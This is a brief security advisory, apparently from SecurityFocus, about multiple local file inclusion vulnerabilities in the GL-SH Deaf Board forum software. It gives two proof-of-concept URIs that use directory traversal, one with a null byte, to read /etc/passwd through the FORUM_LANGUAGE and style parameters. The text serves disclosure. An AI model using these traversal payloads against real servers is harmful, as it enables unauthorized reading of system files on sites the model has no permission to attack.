GL-SH Deaf Board Multiple Local File Include Vulnerabilities

Attackers can use a browser to exploit these issues.

The following proof-of-concept URIs are available:

http://www.example.com/functions.php?FORUM_LANGUAGE=../../../../../../../../../../../etc/passwd
http://www.example.com/bottom.php?style=../../../../../../.././etc/passwd%00


 

Privacy Statement
Copyright 2010, SecurityFocus